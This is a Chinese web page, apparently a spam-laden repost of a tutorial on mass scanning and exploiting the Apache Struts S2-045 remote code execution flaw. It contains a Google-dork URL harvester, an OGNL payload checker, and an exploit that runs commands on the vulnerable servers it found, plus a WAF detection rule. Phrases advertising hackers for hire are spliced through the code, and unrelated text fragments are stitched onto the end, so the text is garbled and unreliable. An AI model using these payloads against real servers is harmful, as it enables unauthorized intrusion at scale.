手机上网站渗透手机软件-批量Struts S2-045漏洞检测及怎样安全防护
批量Struts S2-045漏洞检测及怎样安全防护,S2-045远程控制代码执行漏洞的CNVD详细资料:http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474漏洞刚出現情况下,Google随意检索有关URL(filetype:action||ext:action),运用后发觉有很多甚至应用ROOT客户起动Tomcat,呵呵呵。。。
现阶段,许多 企业早已紧锣旗鼓地恢复了漏洞,即便如此,互联网技术上還是有大量未恢复的目标。。。很有可能觉得不在乎吧
批量S2-045用python 2.7完成,编码共有三一部分,较为糙,多纠正。
之一部分:从Google批量抓取目标URL;
第二一部分:认证挑选存有漏洞的URL;
第三一部分:远程连接命令执如何掏钱雇 *** 黑客行
一、Google抓取URL
目标URL抓取,很有可能会被Google限定抓取频次,若有IP資源,能够持续拆换 *** 商、线程同步抓取。
—keywords文件—–>抓取关键字,比如:filetype:action、ext:action
—urser-agent文档—–>任意ua抓取
—urlresult文档—–>储存抓取的url
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Create by Meibenjin.
# Modified by William
# Last updated: 2017-03-10
# google search results crawler
import sys
import urllib2, socket, time
import gzip, StringIO
import re, random, types
from bs4 import BeautifulSoup
base_url = 'https://www.google.com.hk/'
results_per_page = 10
user_agents = list()
# results from the search engine
class SearchResult:
def __init__(self):
self.url = ''
def getURL(self):
return self.url
def setURL(self, url):
self.url = url
def 如何掏钱雇 *** 黑客 printIt(self, prefix=''):
print 'url\ ->', self.url
def writeFile(self, filename):
如何掏钱雇 *** 黑客 file = open(filename, 'a')
try:
file.write(self.url '\ ')
except IOError, e:
print 'file error:', e
如何掏钱雇 *** 黑客 finally:
file.close()
class GoogleAPI:
def __init__(self):
如何掏钱雇 *** 黑客 timeout = 40
socket.setdefaulttimeout(timeout)
def randomSleep(self):
如何掏钱雇 *** 黑客 sleeptime = random.randint(60, 120)
time.sleep(sleeptime)
# extract a url from a link
如何掏钱雇 *** 黑客 def extractUrl(self, href):
url = ''
pattern = re.compile(r'(http[s]?://[^&])&', re.U | 如何掏钱雇 *** 黑客 re.M)
url_match = pattern.search(href)
if (url_match and url_match.lastindex > 0):
url = url_match.group(1)
return url
# extract serach results list from 如何掏钱雇 *** 黑客 downloaded html file
def extractSearchResults(self, html):
results = list()
如何掏钱雇 *** 黑客 soup = BeautifulSoup(html, "html.parser")
div = soup.find('div', id='search')
if (type(div) != 如何掏钱雇 *** 黑客 types.NoneType):
#modify 'li' to 'div'
lis = div.findAll('如何掏钱雇 *** 黑客div',{'class': 'g'})
if (len(lis) > 0):
如何掏钱雇 *** 黑客 for li in lis:
result = SearchResult()
h3 = li.find('h3',{'class': 'r'})
如何掏钱雇 *** 黑客 if (type(h3) == types.NoneType):
&nbs p; 怎么花钱雇黑客 continue
# extract url from h3 object
link = h3.find('a')
怎么花钱雇黑客 if (type(link) == types.NoneType):
continue
url = link['href']
url = self.extractUrl(url)
怎么花钱雇黑客 if (cmp(url, '') == 0):
怎么花钱雇黑客 continue
result.setURL(url)
results.append(result)
return results
# search web
# @param query -> query key words
# @param lang -> language of search results
# @param num -> number of search results to return
def search(self, query, lang='en', num=results_per_page):
search_results = list()
query = urllib2.quote(query)
怎么花钱雇黑客 if (num % results_per_page == 0):
pages = num / results_per_page
&怎么花钱雇黑客nbsp; else:
pages = num / results_per_page + 1
for p in range(0, pages):
start = p * results_per_page
&怎么花钱雇黑客nbsp; url = '%s/search?hl=%s&num=%d&start=%s&q=%s' % (base_url, lang, results_per_page, start, query)
怎么花钱雇黑客 retry = 3
while (retry > 0):
try:
request 怎么花钱雇黑客 = urllib2.Request(url)
length = len(user_agents)
index = random.randint(0, length - 1)
&怎么花钱雇黑客nbsp; user_agent = user_agents[index]
怎么花钱雇黑客 request.add_header('User-agent', user_agent)
怎么花钱雇黑客 request.add_header('connection', 'keep-alive')
request.add_header('Accept-Encoding', 怎么花钱雇黑客 'gzip')
request.add_header('referer', base_url)
response = urllib2.urlopen(request)
html = response.read()
怎么花钱雇黑客 if (response.headers.get('content-encoding', None) == 'gzip'):
怎么花钱雇黑客 html = gzip.GzipFile(fileobj=StringIO.StringIO(html)).read()
怎么花钱雇黑客 results = self.extractSearchResults(html)
怎么花钱雇黑客 search_results.extend(results)
break;
except urllib2.URLError, e:
怎么花钱雇黑客 print 'url error:', e
self.randomSleep()
retry = retry - 1
continue
except Exception, 怎么花钱雇黑客 e:
print 'error:', e
&怎么花钱雇黑客nbsp; retry = retry - 1
怎么花钱雇黑客 self.randomSleep()
continue
return search_results
def load_user_agent():
fp = open('./user_agents', 'r')
line = fp.readline().strip('\n')
while (line):
user_agents.append(line)
line = fp.readline().strip('\n')
fp.close()
def crawler():
# Load use agent string from file
load_user_agent()
# Create a GoogleAPI instance
api = GoogleAPI()
# set expect search results to be crawled
expect_num = 100
# if no parameters, read query keywords from file
if (len(sys.argv) 2):
怎么花钱雇黑客 keywords = open('./keywords', 'r')
keyword = keywords.readline()
while 怎么花钱雇黑客 (keyword):
results = api.search(keyword, num=expect_num)
怎么花钱雇黑客 for r in results:
r.printIt()
r.writeFile('urlresult')
keyword = keywords.readline()
keywords.close()
else:
keyword =怎么花钱雇黑客 sys.argv[1]
results = api.search(keyword, num=expect_num)
for r in results:
r.printIt()
r.writeFile('urlresult')
if __name__ == '__main__':
crawler()
二、POC漏洞验证
验证是否有s2-045漏洞
—urlresult文件—–>已存储的抓取的url
—detectreslut文件—–>存储验证成功的url
# -*- coding: utf-8 -*-
import urllib2
S2_045 = {"poc": "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=怎么花钱雇黑客@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(' *** ')).(#o.close())}", "key": " *** "}
def poccheck(timeout):
urls = open('../GoogleSearch/urlresult', 'r')
detectresults = open('./detectresult', 'w')
for url in 怎么花钱雇黑客 urls.readlines():
url = url.strip('\n')
url = url.split('%3F', 1)[0]
request = urllib2.Request(url)
request.add_header("Content-Type", S2_045["怎么花钱雇黑客poc"])
request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0")
try:
res_html = urllib2.urlopen(request, timeout=timeout).read(204800)
except Exception,e:
print 'exception:'+url
if S2_045['key'] in res_html:
print S2_045['key']+':'+怎么花钱雇黑客url
detectresults.write(url+'\n')
urls.close()
detectresults.close()
if __name__ == "__main__":
print poccheck(10)
三、远程命令执行
在已发现的具有漏洞的URL基础上,执行远程命令。
代码中执行whoami,有的已验证漏洞URL,远程命令执行会捕获异常或返回html页面,猜测目标structs2并未修复,只是在应用层的检测和响应做出防御。
—detectreslut文件—–>已存储的验证成功的url
—exploitresult文件—–>存储whoami执行结果
# -*- coding: utf-8 -*-
import urllib2import sysfrom poster.encode import 怎么花钱雇黑客 multipart_encodefrom poster.streaminghttp import register_openersdef exploit(): urls = open('../S2045Detection/detectresult', 'r') exploitresults = open('./exploitresult', 'w')for url in 怎么花钱雇黑客 urls.readlines(): url = url.strip('\n') register_openers() datagen, header = multipart_encode(怎么花钱雇黑客{"image1": url}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 怎么花钱雇黑客 Safari/537.36" 怎么花钱雇黑客 header["Content-Type"]="%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+'whoami'+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','怎么花钱雇黑客 -c',#cmd})).(#p=new 怎么花钱雇黑客java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 怎么花钱雇黑客 request = urllib2.Request(url,datagen,headers=header)try: 怎么花钱雇黑客 response = urllib2.urlopen(request, timeout=10) result = response.read(204800)except Exception, e:print 'exception:'+urlelse:if len(result) 怎么花钱雇黑客 > 100:print 'html:'+urlelse:print result.strip('\n')+':'+ url exploitresults.write(result) urls.close() 怎么花钱雇黑客 exploitresults.close()if __name__ == "__main__": exploit()
结果:
抓取不到300个URL就被Google返回503状态码,可以考虑付费API、更换 *** 、多进程进一步改进效率。
小范围统计,约200个目标URL,返回50个具有漏洞的URL。
远程命令执行,部分成功结果如下图所示。
对于Linux系统,即使为非root用户,但结合本地提权漏洞(例如 dirtycown 之类的内核漏洞,对于多说生产环境的server,多数没有被修复),危害甚大。
关于防护:
除了升级到要求的struct2框架版本外,可以考虑暂时设置WAF规则拦截攻击行为。
附:Imperva WAF拦截规则
Signature Pattern: part="Content-Type", part="multipart/form-data", part="_memberAccess", 怎么花钱雇黑客 rgxp="^Content-Type\s*:[^\x0A\x0D]*multipart\/form-data[^\x0A\x0D]*_memberAccess" Protocols: http, https Search Signature In: Headers
买来的源码,看是什么程序,比如asp+access,php+mysql,买相应的asp或php空间,上传、安装程序即可怎么花钱雇黑客使用,也可以自己买主机,配置环境,安装程序。手机黑客技术软件
黑客号免费不收钱比尔·盖茨曾说,如果他还是个少年,那么,他会毫不犹豫地选择做一名“生物黑客”。“想再次改变世界,就从生物分子开始吧!”重生成黑客的小说我只看过《黑客传说》,此外还有: 巅峰黑客 天擎 指间的黑客 原始动力 禁区之门(地狱黑客) 心灵黑客量子通信只是用在加密通信领域,使得密钥分发在理论上绝对安全,但并不代表它可以阻止黑客入侵,它只是保证通信的安全怎么花钱雇黑客,如果是电脑系统有漏洞一样是不安全的,
手机黑客技术软件192.168.1.107不是互联网地址。得到了也没用处。真正技术高超的黑客如果要想攻击你电脑,你再怎么防也没用。不过你又不是什么重要人士,没人会查你。
。真实的世界十大黑客:这是他以前的照片.这个网站里有很多照片,但要耐心等一下!希望你能。
上面两个窗口和右下角的窗口只是命令执行的界面,只有左下角的那个窗口是在用Vim编辑器编写代码。左下角怎么花钱雇黑客的窗口应该是。手机黑客技术软件
。阿波罗8号(Apollo8)是阿波罗计划中第二次载人飞行,三位执行此任务的宇航员分别为指令长弗兰克·博尔曼、指令舱驾驶员吉姆·洛威尔与登月舱驾驶员威廉·安德斯。
手机黑客技术软件已解决问题收藏转载到 *** 空间网上专用的字,词有哪些,都是什么意思?会飞的小鱼儿回答:1人气:1解决时间:2009-10-0713:00。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。